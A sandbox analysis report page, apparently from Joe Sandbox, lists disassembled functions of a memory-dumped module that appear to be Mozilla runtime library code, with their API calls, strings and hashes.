Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 1813c0b2ceafbb7807b085a225cdd1e3750e98bfc24c216fbf3152f45eb528a2
Instruction ID: 58ae1bf59d07c8e21bd5061ba13f60fba03d100fb9b964236f0baa45c8168a05
Opcode Fuzzy Hash: 1813c0b2ceafbb7807b085a225cdd1e3750e98bfc24c216fbf3152f45eb528a2
Instruction Fuzzy Hash: 9D515EB1F001698FCF18CFA8C954BAEBBB1FB89304F1A8659D859A7754C7307985CB90

Function 6CABCDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6CABCEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6CABCEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6CABCF4E

Strings

0, xrefs: 6CABCF30

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 47d26cfd650b1789e98dcc3fae22fc88c49003cffed1084e580774445de2849d
Instruction ID: fe0ccae8ee379a79648394a80ee2e393898b8e3a47221ffd78e8673028bacaab
Opcode Fuzzy Hash: 47d26cfd650b1789e98dcc3fae22fc88c49003cffed1084e580774445de2849d
Instruction Fuzzy Hash: E351F275A00256CFCB00CF18C490EAABBB9EF99304F198599E8595F351D735ED46CBE0

Function 6CB177D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB177FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6CB17829

Part of subcall function 6CAECC38: GetCurrentProcess.KERNEL32(?,?,?,?,6CAB31A7), ref: 6CAECC45
Part of subcall function 6CAECC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6CAB31A7), ref: 6CAECC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6CB1789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6CB178CF

Part of subcall function 6CAB4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CAB4E5A
Part of subcall function 6CAB4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CAB4E97

Part of subcall function 6CAB4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CAF3EBD,6CAF3EBD,00000000), ref: 6CAB42A9

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: dcd3d4d9109dfcca2de895af2898532e0b6a264e9484b1f4736cfff80cd02045
Instruction ID: 05cc1724650e7c3b1c1a6d6bd55dd53bc429f5ed8e719134126b95165baef145
Opcode Fuzzy Hash: dcd3d4d9109dfcca2de895af2898532e0b6a264e9484b1f4736cfff80cd02045
Instruction Fuzzy Hash: 8241AF719087469BD300DF29D48056BFBF4FFCA254F204A2EE4A997640DB70E999CBD2

Function 6CAF6470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6CAF82BC,?,?), ref: 6CAF649B

Part of subcall function 6CACCA10: malloc.MOZGLUE(?), ref: 6CACCA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAF64A9

Part of subcall function 6CAEFA80: GetCurrentThreadId.KERNEL32 ref: 6CAEFA8D
Part of subcall function 6CAEFA80: AcquireSRWLockExclusive.KERNEL32(6CB3F448), ref: 6CAEFA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAF653F
free.MOZGLUE(?), ref: 6CAF655A

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 9d3690c9f8fe528e780700715556a2773e40b39c8c5c2414f18b33013cc61e35
Instruction ID: 6624df5c2f5bd632885333fe15f0bb3a8f0ac7fc16161e4fdd18e77019b5f3c0
Opcode Fuzzy Hash: 9d3690c9f8fe528e780700715556a2773e40b39c8c5c2414f18b33013cc61e35
Instruction Fuzzy Hash: 81317EB5A043559FD700DF14D984A9EBBE4FF88318F00842EE85A97741DB30E909CB92

Function 6CAEFF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6CB0D019,?,?,?,?,?,00000000,?,6CAFDA31,00100000,?), ref: 6CAEFFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6CB0D019,?,?,?,?,?,00000000,?,6CAFDA31,00100000,?,?), ref: 6CAEFFF5
free.MOZGLUE(?,?,?,?,?,6CB0D019,?,?,?,?,?,00000000,?,6CAFDA31,00100000,?), ref: 6CAF001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6CB0D019,?,?,?,?,?,00000000,?,6CAFDA31,00100000,?,?), ref: 6CAF002A

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: bbcdc2da1a12ae1fce896017b978511e948151bdb83cbd02c57811cda84a0674
Instruction ID: 1306972a27a5c9a8327d0ec05979254594052118d2338d647c983a7da5f51da1
Opcode Fuzzy Hash: bbcdc2da1a12ae1fce896017b978511e948151bdb83cbd02c57811cda84a0674
Instruction Fuzzy Hash: B72106B2A002155FD7189E7CEC848AFB7BAEB893243250738E425D7780EA30AD4586D1

Function 6CACB4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CACB4F5
AcquireSRWLockExclusive.KERNEL32(6CB3F4B8), ref: 6CACB502
ReleaseSRWLockExclusive.KERNEL32(6CB3F4B8), ref: 6CACB542
free.MOZGLUE(?), ref: 6CACB578

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: ac2bc5264f12acb6866cbdc2837669b31747fa12d0eb0d689af2cb1f0199f6da
Instruction ID: df778cdc2e09eada43c57db8a2a4f27051bd201252d047069ff6574395c3636b
Opcode Fuzzy Hash: ac2bc5264f12acb6866cbdc2837669b31747fa12d0eb0d689af2cb1f0199f6da
Instruction Fuzzy Hash: A6110630A04B45C7D3228F29D5007A6B3B0FF96319F14970AE84E53A02EBB2B5C58791

Function 6CAF3DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6CABF20E,?), ref: 6CAF3DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6CABF20E,00000000,?), ref: 6CAF3DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CAF3E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6CAF3E0E

Part of subcall function 6CAECC00: GetCurrentProcess.KERNEL32(?,?,6CAB31A7), ref: 6CAECC0D
Part of subcall function 6CAECC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6CAB31A7), ref: 6CAECC16

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 0956bb3c6d56f2177dea96f722e23f9cb064d644ae7233fe7ade2d8fb334fc18
Instruction ID: 0ce3d5426380d67658751951c18d889f448ca5caa8ff0c68668e059de2b75f1c
Opcode Fuzzy Hash: 0956bb3c6d56f2177dea96f722e23f9cb064d644ae7233fe7ade2d8fb334fc18
Instruction Fuzzy Hash: 47F012B15002187BDB04AB54DC41DAF376DDF46628F040020FD1C57741D635BD5996F7

Function 6CB020B0 Relevance: 6.0, APIs: 4, Instructions: 28threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB020B7
AcquireSRWLockExclusive.KERNEL32(00000000,?,6CAEFBD1), ref: 6CB020C0
ReleaseSRWLockExclusive.KERNEL32(00000000,?,6CAEFBD1), ref: 6CB020DA
free.MOZGLUE(00000000,?,6CAEFBD1), ref: 6CB020F1

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 07e13df21ed9292864ea6d063a7f9ddded4c08ebecd6a38467fb71951d6c1ae4
Instruction ID: 3308f1594b90da822bba5f59cb4b872ef3f9e8df040bbb2876279acd1ce033ee
Opcode Fuzzy Hash: 07e13df21ed9292864ea6d063a7f9ddded4c08ebecd6a38467fb71951d6c1ae4
Instruction Fuzzy Hash: 52E0EC31700A244BC6305F29D80854EBBFDEF862157000516E40A83B00E775F54986D6

Function 6CB085B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6CB085D3

Part of subcall function 6CACCA10: malloc.MOZGLUE(?), ref: 6CACCA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6CB08725

Strings

map/set<T> too long, xrefs: 6CB08720

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: 8f4507e63071fe3ed2dd316b347ff4948ce6f3898f38a8be113fa5359d0678de
Instruction ID: 5afb694c281f1bb328cbfd167b7bb0e59dee32db10ae43469ec97f21eff85398
Opcode Fuzzy Hash: 8f4507e63071fe3ed2dd316b347ff4948ce6f3898f38a8be113fa5359d0678de
Instruction Fuzzy Hash: 72516674A00681CFD701CF18C184A5ABBF1FF5A328F1AC18AD8595BB52C736E985CF92

Function 6CABBD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6CABBDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6CABBE8F

Strings

0, xrefs: 6CABBE5B

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: cd209fde4c3d12cba050f0cd7f4b96b8583df0e6bcf832650037fd0d322980ab
Instruction ID: 61bc84ace9b8f1b95a48263d04d4577d29ef5bbf73f033a3aa4ed77b26417c5d
Opcode Fuzzy Hash: cd209fde4c3d12cba050f0cd7f4b96b8583df0e6bcf832650037fd0d322980ab
Instruction Fuzzy Hash: CE41AF71909745CFC711CF28D4C1A9BB7F8AF8A348F004B1DF985A7621D730E9998B82

Function 6CAF3CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CAF3D19
mozalloc_abort.MOZGLUE(?), ref: 6CAF3D6C

Strings

d, xrefs: 6CAF3D58

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: cce240c65e23b39a39c3203cac37de0b707d53f55703b20a435a2fd94cbfb282
Instruction ID: 0220ee58572e48928bce5778632969c118ee7bdc45759d3430de29a60d9d7a67
Opcode Fuzzy Hash: cce240c65e23b39a39c3203cac37de0b707d53f55703b20a435a2fd94cbfb282
Instruction Fuzzy Hash: 44110431E04688D7DF008B69CC154FDB775EF8A318B488619EC9897602FB30A9C9C7A1

Function 6CAC4730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6CAC44B2,6CB3E21C,6CB3F7F8), ref: 6CAC473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6CAC474A

Strings

GetNtLoaderAPI, xrefs: 6CAC4744

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: 3901f63dca81b82c25780af81adf3ab9b58bff6f9a668b2869ab2962435f163d
Instruction ID: 3e96e3f9b8ae71b3d93f3a52a6daa090e3aa17c8ef6b2711a50418d12296fe3d
Opcode Fuzzy Hash: 3901f63dca81b82c25780af81adf3ab9b58bff6f9a668b2869ab2962435f163d
Instruction Fuzzy Hash: 0B01B5753042549FDF14AFA9D85462D7BF9FB9B316B084469EE09C7340CB74D8018F96

Function 6CB16DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6CB16E22
__Init_thread_footer.LIBCMT ref: 6CB16E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6CB16E1D

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: d7acaf9c9ee59e2de2379188ccb270e1021d56f3065c32f09ec6cde629e71857
Instruction ID: 45e191ffd474ea54dc93ebf1221728b63c8dd3db4507d7eb05f5bd7973c946b3
Opcode Fuzzy Hash: d7acaf9c9ee59e2de2379188ccb270e1021d56f3065c32f09ec6cde629e71857
Instruction Fuzzy Hash: 85F0E9767492C0CBDB209B68C950E997B72D717228F0412E7C40D87F71D731E95ACA93

Function 6CAC9E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6CAC9EEF

Strings

NaN, xrefs: 6CAC9EC1
Infinity, xrefs: 6CAC9EB7

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: b611310ac45b953cd78af80ebc6ef4ff1463c689266fd5891e16ea472d5f83e3
Instruction ID: 8e5e058f62517d78455637cb0758ba8d7529a61ad3aa31afb40d65df2935d9f8
Opcode Fuzzy Hash: b611310ac45b953cd78af80ebc6ef4ff1463c689266fd5891e16ea472d5f83e3
Instruction Fuzzy Hash: 41F0C8707003A1CBDB229F18E94DB983771B31731DF1416D6C50C0BB50D735A985CA82

Function 6CACBED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6CACBEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6CACBEF5

Strings

cryptbase.dll, xrefs: 6CACBEF0

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: 005e33e1c3d3e11fbe35a849d26c53ca605a9b94c51356c2f234d7383172dde4
Instruction ID: 8ce5b2151840b4badf0a24ad111c7ce188267f5bf5927d8388fbc31eb01ae645
Opcode Fuzzy Hash: 005e33e1c3d3e11fbe35a849d26c53ca605a9b94c51356c2f234d7383172dde4
Instruction Fuzzy Hash: 2ED0A732284518E6C710AA649C05B193B789701B25F10C420F31948891C7B29450CF41

Function 6CAB50E0 Relevance: 5.2, APIs: 4, Instructions: 213COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6CAB4E9C,?,?,?,?,?), ref: 6CAB510A
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6CAB4E9C,?,?,?,?,?), ref: 6CAB5167
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?), ref: 6CAB5196
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6CAB4E9C), ref: 6CAB5234

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction ID: 5b811fd36a69f771960ec16aad1e693a37772384b182ab22f7ba4330900230d5
Opcode Fuzzy Hash: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction Fuzzy Hash: FD91B175905656CFCB14CF08D490A5ABBA5FF89318B28858CDC58AB715D772FC82CBE0

Function 6CAF08F0 Relevance: 5.2, APIs: 4, Instructions: 165COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB3E7DC), ref: 6CAF0918
LeaveCriticalSection.KERNEL32(6CB3E7DC), ref: 6CAF09A6
EnterCriticalSection.KERNEL32(6CB3E7DC,?,00000000), ref: 6CAF09F3
LeaveCriticalSection.KERNEL32(6CB3E7DC), ref: 6CAF0ACB

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 1d97188201470b60fb387921acd57817220e1118379a34a6e99ccecca8fb79af
Instruction ID: 0a52bb397d6b14d60f4e2a4e67a49e9a4f2ba97775fc7f597dac86364ff64bbf
Opcode Fuzzy Hash: 1d97188201470b60fb387921acd57817220e1118379a34a6e99ccecca8fb79af
Instruction Fuzzy Hash: 9A513D367066D4CFEB18AA55C44466E33B5EB85B24729813BED7997F80DB30EC8686C0

Function 6CB0B5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6CB0B2C9,?,?,?,6CB0B127,?,?,?,?,?,?,?,?,?,6CB0AE52), ref: 6CB0B628

Part of subcall function 6CB090E0: free.MOZGLUE(?,00000000,?,?,6CB0DEDB), ref: 6CB090FF
Part of subcall function 6CB090E0: free.MOZGLUE(?,00000000,?,?,6CB0DEDB), ref: 6CB09108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6CB0B2C9,?,?,?,6CB0B127,?,?,?,?,?,?,?,?,?,6CB0AE52), ref: 6CB0B67D
